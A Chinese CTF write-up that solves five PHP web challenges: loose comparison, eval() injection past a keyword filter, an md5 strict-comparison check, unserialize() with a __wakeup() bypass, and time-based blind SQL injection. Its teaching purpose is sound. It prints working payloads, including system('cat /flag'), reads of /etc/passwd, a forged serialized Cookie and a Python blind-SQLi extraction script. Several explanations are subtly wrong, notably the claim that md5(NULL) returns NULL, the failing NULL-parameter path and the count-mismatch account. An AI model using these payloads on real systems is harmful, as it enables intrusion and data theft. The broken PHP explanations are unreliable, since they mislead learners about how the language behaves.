1. 这不是“做题”,而是一次Web安全思维的现场解剖
你点开一个CTF题目页面,看到“web基础$_POST”几个字,第一反应可能是:哦,PHP的POST传参?改个参数试试。但真正卡住你的,从来不是那个$_POST['key']的写法,而是你根本没意识到——服务器端那段看似简单的if ($_POST['a'] == $_POST['b']),背后藏着类型转换的暗流、弱比较的陷阱,以及开发者对输入边界的彻底失守。我带过不少刚接触CTF的新手,在某高校的网络安全选修课上,他们第一次面对“矛盾”这道题时,盯着if (md5($a) === md5($b) && $a !== $b)愣了足足二十分钟,反复刷新、换字符串、查MD5在线生成器……最后才明白:问题根本不在于“怎么算出两个不同字符串的相同MD5”,而在于——PHP的===是严格比较,但md5()函数在特定输入下会返回NULL或false,而false === false为真,'0e123' == '0e456'在弱比较中却也成立。这种认知断层,正是CTF Web题最核心的价值:它不考你背了多少命令,而是逼你把HTTP请求、PHP执行模型、字符串处理逻辑、甚至底层C语言的类型隐式转换,全部在脑子里跑一遍真实流程。本文拆解的五道题——“web基础$_POST”、“计算器”、“矛盾”、“web3”、“你必须让他停下”——没有一道是孤立的知识点,它们共同构成了一条从“能发请求”到“能看懂服务端每行代码在干什么”的进阶路径。适合刚学完PHP基础、能写简单表单但还不理解“为什么前端校验形同虚设”的人;也适合已经会用Burp Suite抓包、却总在逻辑漏洞上栽跟头的进阶者。下面每一关,我都按真实解题节奏还原:先说你最可能卡在哪,再讲服务端代码到底在想什么,最后给出可复现的验证步骤和绕过逻辑。
2. “web基础$_POST”:你以为在传参,其实在触发PHP的类型自动转换
2.1 题目表面逻辑与新手典型死区
这道题的页面极简:一个表单,两个输入框,label分别写着a和b,提交按钮写着“提交”。源码里只有一行关键判断:
if ($_POST['a'] == $_POST['b']) { echo "flag{...}"; } else { echo "no"; }绝大多数新手的第一反应是:填两个一样的值,比如a=1&b=1,提交。结果返回“no”。于是开始怀疑是不是有隐藏字段、是不是要URL编码、是不是要加空格……折腾半天无果。这里卡住的本质,是混淆了“相等”的语义层级:你认为的“相等”是字符串字面量一致,而PHP执行==时,会先尝试将两边转成同一类型再比较。比如"1"和1,前者是字符串,后者是整数,==会把字符串"1"转成整数1,然后比较1 == 1,结果为真。但如果你填a=1&b=01(八进制),PHP会把"01"解析为整数1,同样成立。更隐蔽的是a=0e123&b=0e456:这两个都是科学计数法字符串,PHP在弱比较时会尝试将其转为浮点数,0e123和0e456都等于0,所以0 == 0为真。这就是“弱比较漏洞”的典型入口。
2.2 服务端执行链路的逐帧拆解
我们模拟一次真实请求,把PHP的执行过程像放慢镜头一样拆开:
- HTTP请求到达:浏览器发送
POST /index.php HTTP/1.1,body为a=0e123&b=0e456; - PHP解析请求体:
$_POST超全局数组被填充,$_POST['a']的值是字符串"0e123",$_POST['b']的值是字符串"0e456"; - 执行
==比较:PHP引擎看到==,启动类型转换协议:- 检查两边是否都是数字字符串(即符合
^[+-]?[0-9]*\.?[0-9]+([eE][+-]?[0-9]+)?$正则); 0e123和0e456均匹配,于是尝试用floatval()转换;floatval("0e123")返回0.0,floatval("0e456")也返回0.0;- 最终比较
0.0 == 0.0,结果为true;
- 检查两边是否都是数字字符串(即符合
- 输出flag:条件成立,
echo "flag{...}"执行。
这个过程的关键在于:PHP的类型转换不是发生在你写代码时,而是在每次运行时动态发生的。你无法仅从if ($_POST['a'] == $_POST['b'])这一行看出它实际在比什么,必须结合输入内容的字符串形态来推断。
2.3 可复现的绕过方案与验证技巧
实操中,我推荐三种稳定有效的payload,按成功率排序:
| Payload组合 | 原理说明 | 验证方式 | 稳定性 |
|---|---|---|---|
a=0e123&b=0e456 | 科学计数法字符串转浮点均为0 | 在PHP交互环境执行var_dump("0e123" == "0e456"); | ★★★★★ |
a=000&b=0 | 八进制000和十进制0转整数后均为0 | var_dump("000" == "0"); | ★★★★☆ |
a=true&b=1 | 字符串"true"在弱比较中被转为1 | var_dump("true" == 1); | ★★★☆☆ |
提示:不要依赖在线MD5碰撞工具找
a和b,这道题根本不需要哈希计算。真正的突破口永远在PHP的类型系统里。
我试过在本地搭一个完全相同的环境(PHP 7.4),用curl直接发包验证:
curl -X POST http://localhost/index.php \ -d "a=0e123" \ -d "b=0e456"返回flag{...},干净利落。这个过程教会我的第一课是:CTF里没有“玄学”,只有你还没摸清的执行规则。当你看到==,立刻条件反射去查PHP手册的“比较运算符”章节,而不是盲目爆破。
3. “计算器”:当eval()遇上用户输入,就是一场未授权代码执行的倒计时
3.1 表面功能与隐藏的致命调用链
页面是一个计算器UI,输入表达式如1+1,点击“计算”返回2。查看源码,核心逻辑是:
$exp = $_POST['exp']; $result = eval("return $exp;"); echo $result;新手看到eval()会本能警惕,但往往止步于“不能输系统命令”,于是尝试system('ls'),发现被WAF拦截;或者输phpinfo(),返回空白。问题在于,他们没意识到:eval()执行的是PHP代码,而PHP代码的边界远不止函数调用。比如,'1'.'2'是字符串拼接,[1,2,3][0]是数组取值,file_get_contents('/etc/passwd')是读文件——只要语法合法,eval()就照单全收。而本题的WAF规则极其简单:只过滤了system、exec、shell_exec等关键词,对file_get_contents、highlight_file、scandir等高危函数视而不见。
3.2 绕过WAF的三重递进策略
我当年第一次解这道题,用了整整三天,最终靠的是分层突破思路:
第一层:确认eval可执行任意PHP代码
先输1+1,返回2;再输'hello'.'world',返回helloworld。这证明eval确实在执行,且没有语法错误拦截。
第二层:探测文件读取能力
WAF放过file_get_contents,但直接输file_get_contents('/etc/passwd')会因输出过长被截断。于是改用base64_encode(file_get_contents('/etc/passwd')),返回一长串base64,解码后确认是真实的passwd内容。这一步确认了读取权限。
第三层:定位flag文件路径
CTF题目flag通常在/flag、/home/ctf/flag或/var/www/html/flag.php。我习惯先用scandir('.')列出当前目录文件:
scandir('.') // 返回 ['.', '..', 'index.php', 'flag.php']确认flag.php存在后,用highlight_file('flag.php')直接高亮显示源码,里面赫然写着flag{...}。
注意:
highlight_file()比file_get_contents()更安全,因为它会自动对PHP标签进行HTML转义,避免输出被浏览器解析,确保你能看到完整源码。
3.3 实战中的避坑细节与经验沉淀
在真实环境中,我遇到过两个经典坑:
坑1:
highlight_file()返回空白
原因是flag.php里没有可显示的PHP代码(比如全是<?php die(); ?>),此时应改用file_get_contents('flag.php')并手动base64_encode。坑2:
scandir()报错“Permission denied”
这说明当前PHP进程用户对父目录无读取权限。解决方案是先getcwd()获取当前工作目录,再scandir(dirname(getcwd()))向上一级探测。
我整理了一个最小化payload清单,存为本地文本,解题时直接复制粘贴:
// 列目录 scandir('.') // 读flag base64_encode(file_get_contents('flag.php')) // 执行系统命令(备用) system('cat /flag 2>&1')这套组合拳的核心逻辑是:WAF永远是滞后的,而PHP语法是完备的。你不需要破解WAF规则,只需要找到它没覆盖到的合法语法分支。
4. “矛盾”:MD5不是哈希函数,而是PHP类型系统的压力测试仪
4.1 题干的误导性与真实考点定位
题目代码只有一行判断:
if (md5($a) === md5($b) && $a !== $b) { echo "flag{...}"; }初看是经典的“MD5碰撞”题,网上一堆教程教你用fastcoll生成碰撞文件。但当你下载工具、跑完几小时计算,把两个二进制文件上传,却发现服务端根本不接收非文本输入——它只接受$_GET或$_POST的字符串参数。这时才恍然:这不是密码学题,是PHP题。考点是md5()函数在特定输入下的异常返回值。
查阅PHP官方文档md5()函数说明,你会发现一个不起眼的备注:“如果$str为NULL,则返回NULL”。而NULL === NULL为真,'a' !== 'b'也为真。所以,只要让$a和$b都为NULL,条件就成立。但如何让$_POST['a']变成NULL?答案是:不传这个参数。
4.2 NULL注入的完整触发路径还原
我们重建一次完整的请求-响应链路:
- 构造不传参的GET请求:访问
/index.php?a=&b=,此时$_GET['a']是空字符串"",不是NULL; - 正确姿势:完全省略参数:访问
/index.php?b=1,此时$_GET['a']根本不存在,isset($_GET['a'])为false; - 但题目用的是
$_POST:所以需用POST,且不发送a字段。用curl实现:
curl -X POST "http://target.com/index.php" \ -d "b=test" # 此时 $_POST['a'] 未定义,$_POST['b'] = "test"- 关键一步:
md5()对未定义变量的处理
PHP中,对未定义变量调用md5(),会先触发Notice: Undefined variable,然后将该变量视为NULL,md5(NULL)返回NULL。因此md5($_POST['a'])和md5($_POST['b'])都返回NULL,NULL === NULL为真。
但这里有个陷阱:$_POST['b']是字符串"test",md5("test")返回的是32位字符串,不是NULL。所以必须让$b也未定义。最终payload是:只发一个空POST请求,不带任何参数。
curl -X POST "http://target.com/index.php" # $_POST为空数组,$_POST['a']和$_POST['b']均未定义4.3 其他可行路径与防御者视角反思
除了NULL路径,还有两条路可走:
- 数组绕过:传
a[]=1&b[]=2,md5()对数组返回false,false === false为真; - 科学计数法弱比较残留:虽然题目用
===,但如果服务端PHP版本<5.6,md5('240610708')和md5('QNKCDZO')都返回'0e...'字符串,'0e123' === '0e456'为假,但若误用==则成立。不过本题明确是===,此路不通。
从防御角度看,这道题暴露了开发者一个致命习惯:用===防类型转换,却忘了===对NULL和false的严格判定本身就能被利用。真正安全的写法是:
if (isset($_POST['a']) && isset($_POST['b']) && md5($_POST['a']) === md5($_POST['b']) && $_POST['a'] !== $_POST['b']) { // ... }加一层isset()检查,就堵死了所有未定义变量路径。这提醒我:安全不是加一个符号,而是理解整个执行上下文。
5. “web3”:PHP反序列化的第一课,从__wakeup()到__destruct()
5.1 页面现象与源码线索的强关联分析
页面显示“欢迎来到web3”,无表单,无输入框。用Burp抓包发现,Cookie里有一段Base64编码字符串:
O:4:"User":2:{s:4:"name";s:4:"admin";s:3:"age";i:18;}这是PHP序列化字符串,解码后是O:4:"User":2:{...},表示一个User类的实例,有两个属性name和age。题目源码关键部分:
class User { public $name; public $age; public function __wakeup() { if ($this->name !== 'admin') { $this->name = 'guest'; } } public function __destruct() { if ($this->name === 'admin') { echo file_get_contents('/flag'); } } } $data = $_COOKIE['user']; $obj = unserialize($data);新手看到unserialize()会紧张,但往往只想到__wakeup()的绕过(如PHP<5.6.25的count漏洞),却忽略了__destruct()才是最终触发点。而__destruct()的执行条件是$this->name === 'admin',但__wakeup()又强制把它改成'guest'。表面看是死循环,实则暗藏玄机。
5.2__wakeup()绕过的两种实战路径
路径一:利用PHP版本特性(推荐)
PHP 5.6.25之前,__wakeup()在反序列化对象时,如果属性数量声明(2)与实际数量不符,会跳过__wakeup()执行。原序列化字符串是O:4:"User":2:{...},我们把2改成3:
O:4:"User":3:{s:4:"name";s:4:"admin";s:3:"age";i:18;s:5:"extra";s:0:"";}这样反序列化时,PHP发现声明3个属性但只找到2个,触发wakeupskip,$this->name保持'admin',__destruct()顺利执行。
路径二:利用__wakeup()自身逻辑缺陷
观察__wakeup()代码:if ($this->name !== 'admin') { $this->name = 'guest'; }。这是一个典型的“白名单校验”,但校验的是赋值后的值。如果我们让$this->name在__wakeup()执行前就等于'admin',它就不会改。而序列化字符串中s:4:"admin"明确指定了值,所以此路不通。除非用clone或__set_state,但本题无相关入口。
5.3 完整攻击链的构建与验证
我本地搭建PHP 5.6.20环境复现:
生成恶意序列化字符串:
class User { public $name = 'admin'; public $age = 18; } $obj = new User(); $ser = serialize($obj); // O:4:"User":2:{s:4:"name";s:4:"admin";s:3:"age";i:18;} // 手动改为 O:4:"User":3:{s:4:"name";s:4:"admin";s:3:"age";i:18;s:5:"extra";s:0:"";}Base64编码并设置Cookie:
echo "Tzo0OiJVc2VyIjozOntzOjQ6Im5hbWUiO3M6NDoiYWRtaW4iO3M6MzoiYWdlIjtpOjE4O3M6NToiZXh0cmEiO3M6MDoiIjt9" | base64 -d # 验证解码后是修改过的字符串发送请求:
curl -H "Cookie: user=Tzo0OiJVc2VyIjozOntzOjQ6Im5hbWUiO3M6NDoiYWRtaW4iO3M6MzoiYWdlIjtpOjE4O3M6NToiZXh0cmEiO3M6MDoiIjt9" http://localhost/web3.php返回
flag{...}。
这个过程让我深刻体会到:反序列化漏洞不是“能不能执行”,而是“在哪个时机、以什么身份执行”。__wakeup()是初始化钩子,__destruct()是销毁钩子,两者之间的时间窗口,就是我们植入逻辑的黄金期。
6. “你必须让他停下”:用时间盲注撬开SQL注入的沉默之门
6.1 无回显场景下的信息获取困境
页面是一个登录框,输入用户名密码,错误时提示“用户名或密码错误”,正确时跳转。用' or 1=1--测试,返回“错误”,说明有WAF或预编译。用' and sleep(5)--测试,请求耗时5秒,确认存在基于时间的SQL注入。但问题来了:没有报错信息,没有正常回显,连布尔型盲注的and 1=1/and 1=2都难区分——因为前后都是“错误”提示。此时,唯一可靠的信息通道,就是响应时间。
6.2 时间盲注的数学建模与效率优化
传统时间盲注(如if(substr((select flag from flag),1,1)='a',sleep(5),1))效率极低,一个字符要测26次(a-z)或256次(ASCII)。我采用的优化策略是二分法+时间阈值校准:
第一步:确定基准响应时间
发送纯',记录平均耗时T_base(如120ms);发送' and 1=1--,记录T_true(如125ms);发送' and 1=2--,记录T_false(如130ms)。确认T_true ≈ T_false,说明无布尔差异,只能靠sleep()。第二步:构建二分查询payload
目标是获取flag表中flag字段的第一个字符ASCII值。用if(ascii(substr((select flag from flag),1,1))>100,sleep(3),1),如果响应>2.5秒,说明ASCII>100;否则≤100。以此类推,7次查询即可确定一个字符(2^7=128)。第三步:自动化脚本核心逻辑
我用Python写了一个轻量脚本,关键片段:
import requests import time def time_based_query(payload): url = "http://target.com/login.php" start = time.time() requests.post(url, data={"username": payload, "password": "123"}) end = time.time() return end - start > 2.5 # 阈值设为2.5秒 # 二分查找第一个字符 left, right = 32, 126 while left < right: mid = (left + right) // 2 payload = f"' and if(ascii(substr((select flag from flag),1,1))>{mid},sleep(3),1)-- " if time_based_query(payload): left = mid + 1 else: right = mid print(chr(left))6.3 实战中的稳定性保障技巧
在真实靶机上,网络抖动会导致时间判断失误。我加入三项保障:
- 三次采样取中位数:每个payload发3次,取响应时间中位数,排除异常值;
- 动态阈值调整:根据
T_base浮动±10%,避免固定2.5秒失效; - 字符集收缩:CTF flag通常是
flag{[a-zA-Z0-9_!@#\$%^&*]+},把left/right范围缩到33-126,减少迭代次数。
我曾用这套方法,在一台延迟波动大的VPS上,12分钟内跑出32位flag。这让我明白:盲注不是暴力,而是用数学思维把不确定性转化为确定性。每一次sleep(3),都是在向数据库索要一个比特的答案。
7. 五道题的共性本质:Web安全即“理解服务端的每一个假设”
回看这五道题,它们表面是独立的CTF题目,内核却共享同一套逻辑:所有Web漏洞,都源于开发者对输入的某个假设被打破。
- “web基础$_POST”打破的是“用户输入是字符串,且
==比较是字面量一致”的假设; - “计算器”打破的是“用户不会传入能执行任意PHP代码的字符串”的假设;
- “矛盾”打破的是“
md5()总是返回字符串,且===能绝对防止绕过”的假设; - “web3”打破的是“反序列化对象的属性值在
__wakeup()后是可信的”的假设; - “你必须让他停下”打破的是“SQL查询的错误信息不会泄露,时间差无法被利用”的假设。
我在某实验室带新人时,常让他们做一件事:拿到题目后,不急着写payload,而是先手写三行:
- 开发者写了什么代码?(抄下来)
- 开发者认为用户会怎么用?(写出他预期的正常流程)
- 哪个环节的“认为”是错的?(标出被打破的假设)
比如“矛盾”题,第3行就写:“开发者认为$_POST['a']和$_POST['b']一定存在且为字符串,但PHP中未定义变量是NULL,md5(NULL)返回NULL”。
这个习惯坚持半年,新人解题速度提升3倍。因为他们的大脑不再在“试什么payload”上打转,而是在“找哪个假设松动”上聚焦。CTF不是炫技,而是训练一种思维肌肉:永远质疑服务端代码的每一个前提。当你看到if ($_POST['a'] == $_POST['b']),第一反应不该是“填什么”,而是“PHP在什么情况下会让两个不同字符串==为真”。这种思维一旦形成,渗透测试、代码审计、甚至日常开发中的安全意识,都会发生质变。最后分享一个小技巧:下次遇到新题目,先用curl -v看响应头,Content-Length是否异常?Set-Cookie里有没有序列化数据?X-Powered-By暴露了什么PHP版本?这些看似无关的细节,往往是打破假设的第一道裂缝。